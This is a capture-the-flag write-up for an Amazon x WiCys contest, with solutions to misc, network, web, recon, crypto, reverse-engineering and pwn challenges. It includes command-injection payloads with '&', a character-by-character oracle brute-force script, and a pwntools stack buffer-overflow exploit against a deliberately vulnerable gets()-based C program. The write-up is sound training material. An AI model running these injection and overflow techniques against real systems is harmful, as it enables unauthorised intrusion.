# Amazon x WiCys CTF
Username: grande_iced_latte
Ranking: 9 over 356

---
Table of Content:
* Misc
* [Hidden Messages](#Hidden-messages)
* Network
* [Simple Pcap](#Simple-Pcap)
* Web
* [Network Analyzer](#Network-Analyzer)
* [Password Locker on the Web](#Password-Locker-on-the-Web)
* Recon
* [Bad Actor](#Bad-Actor)
* [Secret Server](#Secret-Server)
* Crypto
* [I am lazy](#I-am-lazy)
* Reverse Engineering
* [Password Storage 101](#Password-Storage-101)
* Pwn
* [Simple offer](#Simple-offer)
---
## Misc
### Hidden messages
After decompressing the given zip file, there is a `logo.jpg`. Let's `file logo.jpg`.

There is `QW1hem9ue1N0M24wZ3JAcGh5XzEkX2hAcmR9` which looks suspicious. If we use cyberchef (or whatever base64 decoder) to decode it, there is the flag.
**flag: Amazon{St3n0gr@phy_1$_h@rd}**
---
## Network
### Simple Pcap
Open the given pcap file with Wireshark. We can observe that there are HTTP requests that we probably want to look into.

If we inspect the packet detail of the POST request, we can find that the request body includes a png image called `flag.png`. That looks promising! Now it is time to extract this image.

On Wireshark, click `File > Export Objects > HTTP`, select and save the packet of `multipart/form-data` type. Now the image but in a multipart/form-data mime type is stored on local. From [this StackOverflow post](https://stackoverflow.com/a/23517227), we know where the start and the end of the png file is: between file-specific headers and a `-----` boundary.

The file just downloaded looks like this. It is a hex-dump file, so we need to first convert it to a regular file with [`xxd -r- p flag_hex.png flag.png`](https://stackoverflow.com/a/67448745).

It will now look like this:

Let's remove the lines before `PNG` and the last `----` boundary line. Then the image can be opened! In fact, cyberchef can also extract this image for you.

**flag: Amazon{pc@p_mak3s_th3_m@gic}**
---
## Web
### Network Analyzer
Use `&` to execute commands:
`127.0.0.1 & ls` shows that there is a `flag.txt` file.
`127.0.0.1 & cat flag.txt` gives the flag.

**flag: Amazon{4n0th3r_H4ck3r_Succ33d$}**
### Password Locker on the Web
Known that the flag starts with Amazon, try to input it, and the response is a bunch of zeros. Therefore, the correct character would be encrypted to '00'. What to do is to write a python script to guess each character that is encrypted to '00' until the character is '}' indicating the end of the flag.

```python!
import requests
value = 'Amazon{'
url = 'http://18.220.4.126:3030/encrypt'
conn = requests.post(url, data={'plaintext': value})
start = '0' * 14
last = '</p>'
index = 1
found = False
while(not found):
for i in range(33, 127):
c = chr(i)
data_len = len(value) * 2 + index * 2 + 1
conn = requests.post(url, data={'plaintext': value + c})
res = conn.text[conn.text.find(start):conn.text.rfind(last)]
res = res[res.find('0'):data_len].strip().replace('\n', '')
print(res)
if(res[-2:] == '00'):
value = value + c
index += 1
i = 33
if(c == '}'):
found = True
break
print(value)
```
**flag: Amazon{This_Flag_Is_Secret_front_end_validation_is_bullet_proof}**
---
## Recon
### Bad Actor
Find a user with `mickey_z_scott` as username:

**flag: Amazon{0S1NT_1s_c00l}**
### Secret Server
Continue with the new username `scottyisthebest`, we found a github user with only one repo. Look into the repo and the current version has nothing relevant. Dig into commits.... There is a discord server link! Join in the server and the flag is in the secret channel:


**flag: Amazon{Y0u_h@v3_m@st3red_0S1NT}**
---
## Crypto
### I am lazy
Base64 decoding until the flag is given.
**flag: Amazon{too_many_times_encoded}**
---
## Reverse Engineering
### Password Storage 101
An executable is given. Using either [Decompiler Explorer](https://dogbolt.org/) or Ghidra to get the C/C++ style code. The code is pretty long, but there are two important parts: `main` and `keychain`.
```clike!
uint64_t keychain(uint64_t arg1, char* arg2, char* arg3)
{
uint64_t var_10 = arg1;
char var_21 = 0;
std::string::string(arg1);
for (int32_t i = 0; i < 0x19; i = (i + 1))
{
int64_t i_1 = i;
char var_29_1 = xorfunction(arg2[i_1], arg3[i_1]);
std::string::append(arg1, 1);
}
char var_21_1 = 1;
return arg1;
}
```
As shown above, `keychain` is just xoring the two given strings. Now we take a look at `main`.
```clike!
uint64_t _main()
{
int64_t rax = *___stack_chk_guard;
int32_t var_5c = 0;
std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "This is the newest password lockā¦"), std::endl<char>);
// user input, i.e. password guess
void var_78;
std::string::string(&var_78);
std::operator>><char>(std::cin, &var_78);
// the two strings are the source of correct password
int128_t var_38;
__builtin_strcpy(&var_38, "\\prmb}{[{&`Ri@RG.i_.ch4h");
int128_t var_58;
__builtin_strcpy(&var_58, "uhtrbg{nkrgb!gbfjv]jbnSf");
void var_a0;
std::string::string(&var_a0);
// xor the two secret strings. result = vb8 = va0
void var_b8;
keychain(&var_b8, &var_58, &var_38);
std::string::operator=(&var_a0);
std::string::~string();
void var_d0;
std::string::string(&var_d0);
void var_100;
// I don't quite understand this line, but I assume v100 = v58 = 'uhtrbg{nkrgb!gbfjv]jbnSf'
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1B6v15006IDnEEPKc(&var_100, &var_58);
// ve8 = vd0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') = 'hugeot{axeto!toswi]woaFs0'
void var_e8;
rot13(&var_e8, &var_100);
std::string::operator=(&var_d0);
std::string::~string();
std::string::~string();
// Don't quite understand, but looks like trying to print something
std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, &data_100003ebc), std::endl<char>);
int64_t rax_3 = std::string::c_str(&var_78);
// v118 = vd0 ^ va0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') ^ ('uhtrbg{nkrgb!gbfjv]jbnSf' ^ '\prmb}{[{&`Ri@RG.i_.ch4h')
void var_118;
keychain(&var_118, std::string::operator[](&var_d0, 0), std::string::operator[](&var_a0, 0));
int32_t rax_8;
// compare user input with correct password
rax_8 = _strcmp(rax_3, std::string::c_str(&var_118)) == 0;
std::string::~string();
if ((rax_8 & 1) != 0)
{
std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Correct Password"), std::endl<char>);
}
else
{
std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Incorrect!"), std::endl<char>);
}
...
return var_5c_1;
}
```
Using Python to automate the computation, the result `ss` is the flag.
```python!
import codecs, binascii
s1 = 'uhtrbg{nkrgb!gbfjv]jbnSf0'
s1b = b'uhtrbg{nkrgb!gbfjv]jbnSf0'
s2b = b'\prmb}{[{&`Ri@RG.i_.ch4h'
s12 = bytes(x ^ y for x, y in zip(s1b, s2b))
s1_rot13 = codecs.encode(s1, 'rot_13')
print(s12, s1_rot13)
ss = bytes(x ^ y for x, y in zip(s12, s1_rot13.encode('utf-8')))
print(ss)
```
Sample output:

**flag: Amazon{Th1s_iS_R3v_3ng!}**
---
## Pwn
### Simple offer
There are an executable and a C file. Alright, we can get the flag by calling `win`. To do so, we have to overwrite the return address of `vuln`. The structure of stack, from low address to high address, is `[local variable] [address of previous stack frame rbp] [return address]`. From the source code, we know that there are a string of length 32 as a local variable of `vuln`. Therefore, the input so far is `char[32] + rbp = 40 bytes = a * 40`.
```clike!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
void win() {
char buf[64];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s", "You are at the right place, create a local flag to test.\n");
exit(0);
}
fgets(buf,64,f);
printf(buf);
}
void vuln(){
char buf[32];
gets(buf);
printf("Taking the request to 0x%x\n", __builtin_return_address(0));
}
int main(int argc, char **argv){
puts("Hello, what can I help you with? : ");
vuln();
return 0;
}
```
Disassemble the executable so we can inspect `win`. Its address is `0x401176` (plus `0x20` since there was some issue with the challenge). Therefore, the target return address is `0x401196`.

The complete exploitation is as follows:
```python!
#!/usr/bin/python3
from pwn import remote
host = '3.142.83.254' # Remote machine name
port = '1234' # Remote port
conn = remote(host, port)
placeholder = b'\xde' * 40
rbp = 0x00007ffeb28e0dd0.to_bytes(8, 'little') # fine if all a's
addr = 0x0000000000401176 + 0x20
ret = addr.to_bytes(8, 'little')
payload = placeholder + ret
print(payload)
conn.sendline(payload)
print(conn.recvall())
# b'Hello, what can I help you with? : \nTaking the request to 0x401196\nAmazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}\n'
conn.close()
```
**flag: Amazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}**
---
©Yen-Yun Wu